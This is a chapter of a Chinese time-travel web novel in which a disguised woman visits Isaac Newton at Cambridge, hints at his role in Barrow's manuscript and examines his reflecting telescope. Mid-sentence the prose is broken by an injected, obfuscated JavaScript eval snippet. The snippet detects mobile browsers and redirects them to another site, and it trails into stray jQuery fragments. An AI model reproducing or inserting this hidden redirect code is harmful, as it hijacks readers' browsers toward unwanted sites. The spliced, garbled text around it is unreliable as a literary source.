20. 天才也有“把柄”
作品:《十七世纪伦敦女富商》 通往剑桥的路,在冬天显得格外漫长。
霜冻覆盖着小道,枯枝横斜,黑色的影子在铅灰色的天空下显得冷硬而锋利。
栗子的马蹄声,一下一下,敲在空旷的路面上,清晰又孤独。
薇薇安来过剑桥两次,都在夏天。那时的风里带着河草的清甜,阳光落在石墙上,整座学院都显得柔和温暖。
而现在——
学院被灰雾笼罩,石墙冷漠,拒人千里。
她将斗篷拢紧了一些,寒意还是透过厚重的布料渗进来。
她看向雾气中若隐若现的礼拜堂,在心里低声对自己说——
无论付出什么代价,她都必须找到回去的方法。
所有教授都必须进行公开讲学,牛顿也不例外。薇薇安来到公告栏,她看不懂拉丁文,但随着跟洛克接触多了,对这门语言也了解了一些,一眼就认出了那个名字。
IsaacusNewton,Trin.Coll.Soc.etMath.Prof.Lucas.Praeleget.
讲堂里很安静。
身穿黑色长袍的年轻教授站在前方,粉笔在黑板上飞快地移动。
他正在讲光与颜色。
就在他转身的一瞬间,他看了一眼门口,脸色立刻沉了下来。
讲课戛然而止。
这个突发的变故让台下两个本来昏昏欲睡的学生瞬间清醒,顺着教授的视线看向门口。
进来了一个年轻学生,身材挺拔,眉眼干净。没有戴假发,一袭深色斗篷,手里一根乌木手杖,马靴上还沾着泥,像是远道而来。
他迎着教授的目光走进来,带着一点笑意坐下,仿佛这里本就该有他一个位置。他坐下的那一刻,讲台前的空气,像是被点燃了。
教授的眼底压着火。对方却只是轻轻抬手,做了个礼貌的示意——请继续。
年轻的教授冷着脸转回去重新讲课,但粉笔落下的每一笔,都明显更重,带着压抑不住的情绪。
两个学生看不懂发生了什么,随着课堂恢复了秩序,他们的好奇心很快消散,重新打起瞌睡。
教堂的钟声响起。学生打着哈欠离开。
讲堂里,只剩下两个人。
“我可以问问——你又来做什么吗?”
最后一个学生还没出门,牛顿就开口了,虽然用词客气,但语气里满是毫不掩饰的烦躁。
薇薇安站起身,神情从容,仿佛他们是非常熟的老朋友。“您的讲学让我印象深刻,牛顿先生。”她没有回答他的问题。
“男孩。不管你来多少次,我记得我已经说得很清楚了,我不会帮你。”他无视了她手中的手杖,依旧称她“男孩”。
薇薇安没有生气,轻轻摩挲着杖柄,笑道,“如果我没记错,您是第一个用数学来解释折射现象的人。”她看了一眼黑板。“这正是我来找您的原因。”
牛顿的表情没有缓和,但眼神里多了一点不情愿的兴趣。
“还有,”薇薇安语气轻快,“恭喜您获得新职位,卢卡斯教授。我想,这个荣誉,多少可以减轻您对我的怀疑。毕竟,我从未损害过您的利益。”
牛顿皱眉听着,没有打断她。
薇薇安继续:“我听说,这个职位刚刚设立不久。这是一个好信号,不是吗?说明人们开始意识到数学的价值了。建筑、航海,那些改变世界的活动,都离不开数学。”
她说这些话的时候,自己都厌恶那种“懂得很多”的傲慢。
可她别无选择。
牛顿依然沉默,转身,拿起门边的手杖,走了出去。
薇薇安跟上。冷空气在两人之间流动,呼出的气息,在空中凝成白雾。
“你一直在谈数学的未来价值。”牛顿终于开口,语气带着质疑。“但你从未证明,你理解数学。”
“真冷,”薇薇安裹紧斗篷,“那些很快就会成为常识的东西,没有证明的必要,”她顿了顿,“历史不会等人,牛顿先生。”
“历史?我以为我们讨论的是自然哲学。”
“某种程度上,是。但您有没有想过——历史会怎么记住您?”
她的声音轻下来。“是最年轻的卢卡斯数学教授?‘一位学识渊博且洞察敏锐之人’,还是——”
手杖在地上轻轻一划,在薄薄的雪上划出一道横线,“那个真正修正错误的人?”
牛顿突然站住。“你什么意思?”
他的目光充满了警惕,还带着一丝不安。
薇薇安直视着他,“一个提议罢了,我保证,我绝对没有恶意。”
沉默。
雪花纷纷扬扬落下,空气似乎更冷了。
许久,牛顿终于打破沉默。
“你到底想要什么,布雷特?”
终于,他不再称呼她“男孩”。
“烤火,先生。”薇薇安眨眨眼,“在这样的天气里,这个要求不过分吧?”
牛顿瞪了她一眼,继续往前走。他的背影在薄薄的雪地上被拉得很长。
薇薇安跟了上去。
他们再没有说话。
宿舍门口,送信的学校小听差刚好离开。他向牛顿行礼,牛顿只微微点了点头,便径直走了进去,也没招呼薇薇安,好像她根本不存在。
薇薇安也不在意,跟着走了进去。
约翰·威金斯正坐在桌前,闻声抬头,看见薇薇安,他站起身来,“先生……”
他看向牛顿。
牛顿没有介绍,直接进了里间,留下威金斯一脸茫然地站在那里。
薇薇安把手杖放在角落,摘下帽子挂好,又慢条斯理地脱下手套,这才朝威金斯走去,带着淡淡的笑意伸出手。
“日安,威金斯先生。威廉·布雷特,来拜访牛顿先生。”
威金斯与她握了握手。“很高兴再次见到您,布雷特先生。要喝点什么?麦芽酒还是啤酒?”
薇薇安目光一转,落在角落里的桶上,“那是——?”
“苹果酒,牛顿先生从家里带来的,先生想要尝尝吗?”
薇薇安笑了,“那我就不客气了,多谢。”
威金斯去取酒的间隙,薇薇安环顾四周。
房间和她记忆中几乎一样,红色依然是主色调。窗户的遮板上开了一个孔,里面嵌着一枚棱镜。
但也多了一些新的东西。
房间中央靠近窗的位置,摆着一张长桌。桌面上放着一块玻璃板,正好用来接收棱镜折射出的光谱。
薇薇安的嘴角微微勾起。
她猜对了。巴罗手稿的致谢里提到的那个“修改手稿的人”,就是牛顿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376537|199358||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。她不过是试探了一句,他的反应已经说明了一切。
既然他修改的手稿,他为什么没有修改手稿中明显的光学错误呢?
这个实验说明牛顿已经发现了光的色散原理,以他对光的理解程度,不可能没发现巴罗颜色与光的压缩有关的观点是错的。
答案很简单。
这个“错误”,是手稿的论点,一旦修改,整个书稿就难以作为成果,证明巴罗值得升迁。
而牛顿,在这件事上,跟巴罗的利益是一致的。
只有巴罗顺利升任三一学院的院长,卢卡斯数学教授的席位才会空出来,牛顿才有可能继任这个职位。
看来牛顿并不像后人所说的那样完全不通世事。至少在涉及自身利益时——
他非常清楚,什么时候该沉默。
而这,正是她刚刚那句“威胁”起作用的原因。
薇薇安收回思绪,目光落在桌上另一件东西上。
一架望远镜。
体型不大,大约一盏台灯大小,底座圆润。这是她上次来时没有的。
威金斯端着酒杯回来。
“这架望远镜是牛顿先生做的吗?”
“是的。”
薇薇安接过酒,随手放在桌上,目光仍落在望远镜上。
“我可以看看吗?”
没等威金斯回答,她已经走到窗边,推开遮板,任由冷风灌入,调整角度。
冬天黑得很早,不过才五点,天色已经暗了。
薇薇安迫不及待地凑上去。
这台牛顿手搓的望远镜,当然不可能和现代的望远镜相比,但却是这个时代最先进的望远镜——第一台反射式望远镜。
薇薇安在洛克和波义耳实验室见到的望远镜都是非常长的折射式望远镜,笨重,目标边缘充满了光晕。
但这台小巧的望远镜,镜筒不过手掌大小,放大倍率却跟那些近两米长的大家伙等同。
她沉浸在的望远镜中的世界里,完全忘了时间。房间仿佛消失了,只剩下那遥远星体模糊的轮廓。
直到——
“牛顿先生,布雷特先生在等您。”
薇薇安回神,转头。
牛顿站在他的卧室门口。他脱下了黑色的长袍,只穿着一件宽松的白色亚麻衬衣,领口松开,没戴领结,衣料微微起皱,袖口甚至沾着一丝墨迹。
习惯了洛克平整的衣摆,薇薇安对牛顿的不修边幅有些惊讶。
牛顿的目光落到望远镜上,眉头皱得更深。
薇薇安忽略掉他的不悦,笑道,“牛顿先生,您的发明太精彩了。我甚至能看到木星的大红斑。”
她的手轻轻拂过边缘,“高锡青铜,同样令人印象深刻。”
她收集来的炼金术书籍,虽然大部分没用,但却加深了她对这个时代材料的理解。
眼下这台小望远镜所用的极其光亮的铜合金,是她在波义耳实验室也不曾见过的,应该是牛顿自己炼制的。
听了这句话,牛顿终于开口了,“威金斯先生。”说话时他的目光依旧锁在薇薇安脸上。“我需要和布雷特单独谈谈。”
威金斯退了出去,轻轻关上门。
客厅里只剩他们两。
牛顿盯着她,眯起眼。
“先生……你到底是谁?”

